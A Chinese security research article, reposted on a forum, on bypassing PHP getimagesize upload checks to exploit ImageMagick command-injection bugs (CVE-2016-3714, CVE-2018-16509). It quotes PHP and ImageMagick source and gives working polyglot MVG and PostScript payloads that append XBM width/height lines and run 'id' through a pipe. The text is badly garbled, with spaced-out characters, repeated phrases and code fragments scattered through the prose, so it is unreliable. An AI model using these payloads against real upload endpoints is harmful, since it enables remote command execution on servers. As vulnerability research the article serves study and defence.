搜索

[14414] 2019-07-31_Imagemagick邂逅Getimagesize的那点事儿

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-07-31_Imagemagick邂逅Getimagesize的那点事儿 I m a g e m a g i c k 邂 逅 G e t i m a g e s i z e 的 那 点 事 儿 p h i t h o n   F r e e B u f   2 0 1 9 - 0 7 - 3 1 前 段 时 间 写 的 文 章 ， 在 微 博 上 说 前 段 时 间 写 的 文 章 ， 在 微 博 上 说 7 月 底 结 束 分 享 一 下 ， 总 算 可 以 发 了 。 感 谢 月 底 结 束 分 享 一 下 ， 总 算 可 以 发 了 。 感 谢   @ v o i d f y o o   提 出 的 这 个 问 题 。 提 出 的 这 个 问 题 。 今 天 遇 到 一 个 代 码 ， 大 致 如 下 ： 用 户 上 传 的 文 件 如 果 大 于 1 0 0 p x ， 则 用 I m a g i c k 处 理 成 1 0 0 x 1 0 0 的 缩 略 图 ， 再 存 储 在 硬 盘 上 。 通 过 这 个 代 码 ， 我 们 很 容 易 想 到 用 I m a g e m a g i c k 的 漏 洞 进 行 测 试 ， 但 这 里 前 面 对 图 片 大 小 用 g e t i m a g e s i z e 进 行 了 限 制 ， 之 前 爆 出 来 的 那 些 P O C 均 无 法 通 过 校 验 ， 因 为 g e t i m a g e s i z e 并 不 支 持 类 似 P o s t S c r i p t 、 M V G 这 样 的 图 片 格 式 。 这 时 候 我 们 怎 么 绕 过 这 个 限 制 呢 ？ 0 x 0 1   I m a g e m a g i c k 命 令 执 行 不 完 全 回 顾 命 令 执 行 不 完 全 回 顾 I m a g e m a g i c k 历 史 上 曾 出 现 过 的 很 多 命 令 执 行 漏 洞 ， 我 在 v u l h u b 里 做 过 以 下 三 个 ： 1 . C V E - 2 0 1 6 - 3 7 1 4 2 . C V E - 2 0 1 8 - 1 6 5 0 9 3 . C V E - 2 0 1 9 - 6 1 1 6 第 一 个 是 I m a g e m a g i c k 在 处 理 m v g 格 式 图 片 时 导 致 的 命 令 注 入 ， 后 两 个 都 是 在 处 理 P o s t S c r i p t 文 件 时 因 为 使 用 了 G h o s t S c r i p t ， 而 G h o s t S c r i p t 中 存 在 的 命 令 注 入 。 I m a g e m a g i c k 是 一 个 大 而 全 的 图 片 处 理 库 ， 他 能 处 理 日 常 生 活 中 见 到 的 绝 大 多 数 图 片 格 式 ， 比 如 j p g 、 g i f 、 p n g 等 ， 当 然 也 包 括 日 常 生 活 中 很 少 见 到 的 图 片 格 式 ， 比 如 前 面 说 的 m v g 和 p s 。 这 三 个 漏 洞 的 具 体 原 理 网 上 很 多 文 章 也 分 析 过 ， 我 这 里 就 不 再 分 析 了 ， 但 我 们 思 考 一 下 ： 一 个 文 件 交 给 I m a g e m a g i c k 处 理 ， 他 是 怎 么 知 道 这 是 哪 种 格 式 的 图 片 ， 并 如 何 处 理 呢 ？ 显 然 需 要 一 个 方 法 来 区 分 文 件 类 型 ， 而 单 纯 用 文 件 名 后 缀 来 判 断 是 不 合 理 的 （ 文 件 后 缀 并 不 是 构 成 文 件 名 的 必 要 元 素 ） ， 常 规 的 做 法 就 是 通 过 文 件 头 来 判 断 。 随 便 翻 一 下 I m a g e m a g i c k 的 代 码 ， 我 就 发 现 大 多 数 文 件 格 式 的 处 理 中 ， 通 常 有 一 个 函 数 ， 用 来 判 断 这 个 文 件 是 否 是 对 应 的 格 式 。 比 如 ： < ? p h p $ f i l e n a m e   =   $ _ F I L E S [ ' i m a g e ' ] [ ' t m p _ n a m e ' ] ; $ s i z e   =   g e t i m a g e s i z e ( $ f i l e n a m e ) ; i f   ( $ s i z e   & &   $ s i z e [ 0 ]   >   1 0 0   & &   $ s i z e [ 1 ]   >   1 0 0 )   {         $ i m g   =   n e w   I m a g i c k ( $ _ F I L E S [ ' i m a g e ' ] [ ' t m p _ n a m e ' ] ) ;         $ i m g - > c r o p T h u m b n a i l I m a g e ( 1 0 0 ,   1 0 0 ) ;         $ i m g - > w r i t e I m a g e ( ' n e w i m a g e . g i f ' ) ; } / /   c o d e r s / p s . c s t a t i c   M a g i c k B o o l e a n T y p e   I s P S ( c o n s t   u n s i g n e d   c h a r   * m a g i c k , c o n s t   s i z e _ t   l e n g t h ) {     i f   ( l e n g t h   <   4 )         r e t u r n ( M a g i c k F a l s e ) ;     i f   ( m e m c m p ( m a g i c k , " % ! " , 2 )   = =   0 )
这 两 个 函 数 就 是 判 断 文 件 是 否 是 p o s t s c r i p t 和 m v g 格 式 。 很 显 然 ， 他 这 里 是 通 过 文 件 头 来 判 断 ， 也 就 是 说 ， 如 果 想 让 I m a g e m a g i c k 用 p s 的 处 理 方 法 来 处 理 图 片 ， 这 个 图 片 的 前 几 个 字 节 必 须 是 % ! 或 0 0 4 % ! 。 这 也 很 好 理 解 ， 文 件 头 的 意 义 就 是 标 示 这 个 文 件 是 什 么 类 型 的 文 件 。 所 以 ， 如 果 我 们 想 利 用 I m a g e m a g i c k 的 命 令 执 行 漏 洞 ， 必 须 要 给 他 传 入 一 个 合 法 的 m v g 或 p s 文 件 ， 或 者 至 少 文 件 头 要 满 足 要 求 。 0 x 0 2   深 入 深 入 g e t i m a g e s i z e 通 过 翻 阅 P H P 文 档 ， 可 知 g e t i m a g e s i z e 支 持 的 图 片 类 型 有 ： G I F ， J P G ， P N G ， S W F ， S W C ， P S D ， T I F F ， B M P ， I F F ， J P 2 ， J P X ， J B 2 ， J P C ， X B M ， W B M P ： 那 么 这 时 候 就 犯 难 了 ， p s 和 m v g 并 不 在 其 中 。 如 果 我 们 传 入 一 个 p s 文 件 ， g e t i m a g e s i z e 处 理 时 就 会 失 败 并 返 回 f a l s e ， 那 么 就 不 会 执 行 到 I m a g i c k 那 里 。 这 种 方 法 也 是 当 初 I m a g e T r a g i c k 漏 洞 出 现 时 ， 很 多 文 章 推 荐 的 缓 解 措 施 。 似 乎 很 安 全 ， 不 过 我 们 应 该 深 入 研 究 一 下 g e t i m a g e s i z e 究 竟 是 如 何 处 理 图 片 的 。 下 载 p h p 源 码 ， e x t / s t a n d a r d / i m a g e . c 这 个 文 件 是 关 键 ， 看 到 如 下 函 数 ：         r e t u r n ( M a g i c k T r u e ) ;     i f   ( m e m c m p ( m a g i c k , " 0 0 4 % ! " , 3 )   = =   0 )         r e t u r n ( M a g i c k T r u e ) ;     r e t u r n ( M a g i c k F a l s e ) ; } / /   c o d e r s / m v g . c s t a t i c   M a g i c k B o o l e a n T y p e   I s M V G ( c o n s t   u n s i g n e d   c h a r   * m a g i c k , c o n s t   s i z e _ t   l e n g t h ) {     i f   ( l e n g t h   <   2 0 )         r e t u r n ( M a g i c k F a l s e ) ;     i f   ( L o c a l e N C o m p a r e ( ( c o n s t   c h a r   * )   m a g i c k , " p u s h   g r a p h i c - c o n t e x t " , 2 0 )   = =   0 )         r e t u r n ( M a g i c k T r u e ) ;     r e t u r n ( M a g i c k F a l s e ) ; } s t a t i c   v o i d   p h p _ g e t i m a g e s i z e _ f r o m _ s t r e a m ( p h p _ s t r e a m   * s t r e a m ,   z v a l   * i n f o ,   I N T E R N A L _ F U N C T I O N _ P A R A M E T E R S )   / *   { { {   * / {         i n t   i t y p e   =   0 ;         s t r u c t   g f x i n f o   * r e s u l t   =   N U L L ;         i f   ( ! s t r e a m )   {                 R E T U R N _ F A L S E ;         }
可 见 ， 这 里 逻 辑 是 首 先 用 p h p _ g e t i m a g e t y p e ( s t r e a m ,   N U L L ) 来 获 取 图 片 格 式 ， 然 后 进 入 一 个 s w i t c h 语 句 ， 根 据 格 式 来 分 配 具 体 的 处 理 方 法 。 看 看 P H P 是 如 何 获 取 图 片 格 式 的 ：         i t y p e   =   p h p _ g e t i m a g e t y p e ( s t r e a m ,   N U L L ) ;         s w i t c h (   i t y p e )   {                 c a s e   I M A G E _ F I L E T Y P E _ G I F :                         r e s u l t   =   p h p _ h a n d l e _ g i f ( s t r e a m ) ;                         b r e a k ;                 c a s e   I M A G E _ F I L E T Y P E _ J P E G :                         / / . . .                 c a s e   . . . P H P A P I   i n t   p h p _ g e t i m a g e t y p e ( p h p _ s t r e a m   *   s t r e a m ,   c h a r   * f i l e t y p e ) {         c h a r   t m p [ 1 2 ] ;         i n t   t w e l v e _ b y t e s _ r e a d ;         i f   (   ! f i l e t y p e )   f i l e t y p e   =   t m p ;         i f ( ( p h p _ s t r e a m _ r e a d ( s t r e a m ,   f i l e t y p e ,   3 ) )   ! =   3 )   {                 p h p _ e r r o r _ d o c r e f ( N U L L ,   E _ N O T I C E ,   " R e a d   e r r o r ! " ) ;                 r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;         } / *   B Y T E S   R E A D :   3   * /         i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ g i f ,   3 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ G I F ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ j p g ,   3 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ J P E G ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ p n g ,   3 ) )   {                 i f   ( p h p _ s t r e a m _ r e a d ( s t r e a m ,   f i l e t y p e + 3 ,   5 )   ! =   5 )   {                         p h p _ e r r o r _ d o c r e f ( N U L L ,   E _ N O T I C E ,   " R e a d   e r r o r ! " ) ;                         r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;                 }                 i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ p n g ,   8 ) )   {                         r e t u r n   I M A G E _ F I L E T Y P E _ P N G ;                 }   e l s e   {                         p h p _ e r r o r _ d o c r e f ( N U L L ,   E _ W A R N I N G ,   " P N G   f i l e   c o r r u p t e d   b y   A S C I I   c o n v e r s i o n " ) ;                         r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;                 }         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ s w f ,   3 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ S W F ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ s w c ,   3 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ S W C ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ p s d ,   3 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ P S D ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ b m p ,   2 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ B M P ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ j p c ,   3 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ J P C ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ r i f f ,   3 ) )   {                 i f   ( p h p _ s t r e a m _ r e a d ( s t r e a m ,   f i l e t y p e + 3 ,   9 )   ! =   9 )   {                         p h p _ e r r o r _ d o c r e f ( N U L L ,   E _ N O T I C E ,   " R e a d   e r r o r ! " ) ;                         r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;
这 个 函 数 很 长 ， 首 先 从 流 里 读 了 3 个 字 节 ， 进 行 了 一 批 判 断 （ 用 m e m c m p 对 比 ） ， 其 实 也 就 是 对 比 图 片 头 ； 如 果 没 找 到 ， 则 再 读 取 一 个 字 节 ， 对 比 4 个 字 节 长 度 的 图 片 头 ； 如 果 还 没 找 到 ， 再 读 取 8 个 字 节 ， 看 图 片 是 否 是 j p 2 格 式 ； 如 果 还 不 是 ， 则 用 p h p g e t w b m p 与 p h p g e t x b m 两 个 函 数 判 断 图 片 是 否 是 w b m p 与 x b m 格 式 。 前 面 比 较 文 件 头 的 部 分 ， 已 经 和 I m a g e m a g i c k 漏 洞 利 用 条 件 冲 突 了 ， 毕 竟 一 个 文 件 不 可 能 既 是 p s 文 件 头 ， 又 是 g i f 文 件 头 ， 那 么 只 能 寄 希 望 于 p h p g e t w b m p 与 p h p g e t x b m 两 个 函 数 。 p h p g e t w b m p 是 没 戏 的 ， 因 为 他 要 求 第 一 个 字 节 必 须 是 x 0 0 ：                         r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;                 }                 i f   ( ! m e m c m p ( f i l e t y p e + 8 ,   p h p _ s i g _ w e b p ,   4 ) )   {                         r e t u r n   I M A G E _ F I L E T Y P E _ W E B P ;                 }   e l s e   {                         r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;                 }         }         i f   ( p h p _ s t r e a m _ r e a d ( s t r e a m ,   f i l e t y p e + 3 ,   1 )   ! =   1 )   {                 p h p _ e r r o r _ d o c r e f ( N U L L ,   E _ N O T I C E ,   " R e a d   e r r o r ! " ) ;                 r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;         } / *   B Y T E S   R E A D :   4   * /         i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ t i f _ i i ,   4 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ T I F F _ I I ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ t i f _ m m ,   4 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ T I F F _ M M ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ i f f ,   4 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ I F F ;         }   e l s e   i f   ( ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ i c o ,   4 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ I C O ;         }         / *   W B M P   m a y   b e   s m a l l e r   t h a n   1 2   b y t e s ,   s o   d e l a y   e r r o r   * /         t w e l v e _ b y t e s _ r e a d   =   ( p h p _ s t r e a m _ r e a d ( s t r e a m ,   f i l e t y p e + 4 ,   8 )   = =   8 ) ; / *   B Y T E S   R E A D :   1 2   * /         i f   ( t w e l v e _ b y t e s _ r e a d   & &   ! m e m c m p ( f i l e t y p e ,   p h p _ s i g _ j p 2 ,   1 2 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ J P 2 ;         } / *   A F T E R   A L L   A B O V E   F A I L E D   * /         i f   ( p h p _ g e t _ w b m p ( s t r e a m ,   N U L L ,   1 ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ W B M P ;         }         i f   ( ! t w e l v e _ b y t e s _ r e a d )   {                 p h p _ e r r o r _ d o c r e f ( N U L L ,   E _ N O T I C E ,   " R e a d   e r r o r ! " ) ;                 r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ;         }         i f   ( p h p _ g e t _ x b m ( s t r e a m ,   N U L L ) )   {                 r e t u r n   I M A G E _ F I L E T Y P E _ X B M ;         }         r e t u r n   I M A G E _ F I L E T Y P E _ U N K N O W N ; }
那 么 看 一 下 p h p g e t x b m ： s t a t i c   i n t   p h p _ g e t _ w b m p ( p h p _ s t r e a m   * s t r e a m ,   s t r u c t   g f x i n f o   * * r e s u l t ,   i n t   c h e c k ) {         i n t   i ,   w i d t h   =   0 ,   h e i g h t   =   0 ;         i f   ( p h p _ s t r e a m _ r e w i n d ( s t r e a m ) )   {                 r e t u r n   0 ;         }         / *   g e t   t y p e   * /         i f   ( p h p _ s t r e a m _ g e t c ( s t r e a m )   ! =   0 )   {                 r e t u r n   0 ;         } s t a t i c   i n t   p h p _ g e t _ x b m ( p h p _ s t r e a m   * s t r e a m ,   s t r u c t   g f x i n f o   * * r e s u l t ) {         c h a r   * f l i n e ;         c h a r   * i n a m e ;         c h a r   * t y p e ;         i n t   v a l u e ;         u n s i g n e d   i n t   w i d t h   =   0 ,   h e i g h t   =   0 ;         i f   ( r e s u l t )   {                 * r e s u l t   =   N U L L ;         }         i f   ( p h p _ s t r e a m _ r e w i n d ( s t r e a m ) )   {                 r e t u r n   0 ;         }         w h i l e   ( ( f l i n e = p h p _ s t r e a m _ g e t s ( s t r e a m ,   N U L L ,   0 ) )   ! =   N U L L )   {                 i n a m e   =   e s t r d u p ( f l i n e ) ;   / *   s i m p l e   w a y   t o   g e t   n e c e s s a r y   b u f f e r   o f   r e q u i r e d   s i z e   * /                 i f   ( s s c a n f ( f l i n e ,   " # d e f i n e   % s   % d " ,   i n a m e ,   & v a l u e )   = =   2 )   {                         i f   ( ! ( t y p e   =   s t r r c h r ( i n a m e ,   ' _ ' ) ) )   {                                 t y p e   =   i n a m e ;                         }   e l s e   {                                 t y p e + + ;                         }                         i f   ( ! s t r c m p ( " w i d t h " ,   t y p e ) )   {                                 w i d t h   =   ( u n s i g n e d   i n t )   v a l u e ;                                 i f   ( h e i g h t )   {                                         e f r e e ( i n a m e ) ;                                         b r e a k ;                                 }                         }                         i f   ( ! s t r c m p ( " h e i g h t " ,   t y p e ) )   {                                 h e i g h t   =   ( u n s i g n e d   i n t )   v a l u e ;                                 i f   ( w i d t h )   {                                         e f r e e ( i n a m e ) ;                                         b r e a k ;                                 }                         }                 }
这 函 数 主 要 是 一 个 大 w h i l e 循 环 ， 遍 历 了 文 件 的 每 一 行 。 从 这 里 也 能 看 出 ， x b m 图 片 是 一 个 文 本 格 式 的 文 件 ， 而 不 像 其 他 图 片 一 样 是 二 进 制 文 件 。 如 果 某 一 行 格 式 满 足 # d e f i n e   % s   % d ， 那 么 取 出 其 中 的 字 符 串 和 数 字 ， 再 从 字 符 串 中 取 出 w i d t h 或 h e i g h t ， 将 数 字 作 为 图 片 的 长 和 宽 。 逻 辑 很 简 单 呀 ， 文 本 格 式 ， 而 且 没 有 限 制 文 件 头 ， 只 要 有 某 两 行 可 以 控 制 即 可 。 这 和 我 们 I m a g e m a g i c k 的 P O C 差 别 并 不 大 ， 显 然 是 可 以 兼 容 的 。 0 x 0 3   编 写 同 时 符 合 编 写 同 时 符 合 g e t i m a g e s i z e 与 与 I m a g e m a g i c k 的 的 P O C 理 论 基 础 结 束 ， 我 们 来 编 写 一 下 P O C 吧 。 首 先 拿 出 原 m v g 格 式 的 P O C ： 我 们 只 需 要 在 后 面 增 加 上 # d e f i n e   % s   % d 即 可 ：                 e f r e e ( f l i n e ) ;                 e f r e e ( i n a m e ) ;         }         i f   ( f l i n e )   {                 e f r e e ( f l i n e ) ;         }         i f   ( w i d t h   & &   h e i g h t )   {                 i f   ( r e s u l t )   {                         * r e s u l t   =   ( s t r u c t   g f x i n f o   * )   e c a l l o c ( 1 ,   s i z e o f ( s t r u c t   g f x i n f o ) ) ;                         ( * r e s u l t ) - > w i d t h   =   w i d t h ;                         ( * r e s u l t ) - > h e i g h t   =   h e i g h t ;                 }                 r e t u r n   I M A G E _ F I L E T Y P E _ X B M ;         }         r e t u r n   0 ; } p u s h   g r a p h i c - c o n t e x t v i e w b o x   0   0   6 4 0   4 8 0 f i l l   ' u r l ( h t t p s : / / 1 2 7 . 0 . 0 . 0 / o o p s . j p g " | " ` i d ` ) ' p o p   g r a p h i c - c o n t e x t p u s h   g r a p h i c - c o n t e x t v i e w b o x   0   0   6 4 0   4 8 0 f i l l   ' u r l ( h t t p s : / / 1 2 7 . 0 . 0 . 0 / o o p s . j p g " | " ` i d ` ) ' p o p   g r a p h i c - c o n t e x t # d e f i n e   x l o g o _ w i d t h   2 0 0 # d e f i n e   x l o g o _ h e i g h t   2 0 0
用 存 在 漏 洞 的 i m a g e m a g i c k 进 行 测 试 ， 命 令 成 功 执 行 ： p s 也 一 样 ， 我 们 借 助 C V E - 2 0 1 8 - 1 6 5 0 9 的 P O C 进 行 构 造 ： % ! P S u s e r d i c t   / s e t p a g e d e v i c e   u n d e f s a v e l e g a l {   n u l l   r e s t o r e   }   s t o p p e d   {   p o p   }   i f {   l e g a l   }   s t o p p e d   {   p o p   }   i f r e s t o r e m a r k   / O u t p u t F i l e   ( % p i p e % i d )   c u r r e n t d e v i c e   p u t d e v i c e p r o p s / t e s t   { # d e f i n e   x l o g o 6 4 _ w i d t h   6 4 # d e f i n e   x l o g o 6 4 _ h e i g h t   6 4 }
用 g e t i m a g e s i z e 成 功 获 取 图 片 大 小 ： 用 存 在 漏 洞 的 i m a g e m a g i c k + G h o s t S c r i p t 进 行 测 试 ， 命 令 成 功 执 行 ： 0 x 0 4   后 记 后 记 本 来 想 写 一 下 D i s c u z 下 的 利 用 的 ， 但 是 鉴 于 某 条 例 的 规 定 ， 漏 洞 分 析 不 能 乱 发 ， 再 加 我 粗 略 找 到 的 利 用 链 本 身 也 不 太 完 整 ， 有 一 些 条 件 限 制 ， 并 不 是 特 别 好 ， 所 以 就 不 献 丑 了 。 事 实 上 这 个 技 巧 在 刚 过 去 的 实 战 中 有 用 到 ， 并 不 局 限 于 D i s c u z 或 某 个 C M S 。 因 为 i m a g e m a g i c k 和 g h o s t s c r i p t 的 漏 洞 层 出 不 穷 ， 也 在 侧 面 辅 助 了 黑 盒 渗 透 与 P H P 代 码 审 计 ， 待 下 一 次 0 d a y 爆 发 ， 也 可 以 利 用 这 个 技 巧 进 行 盲 测 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： P H I T H O N ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理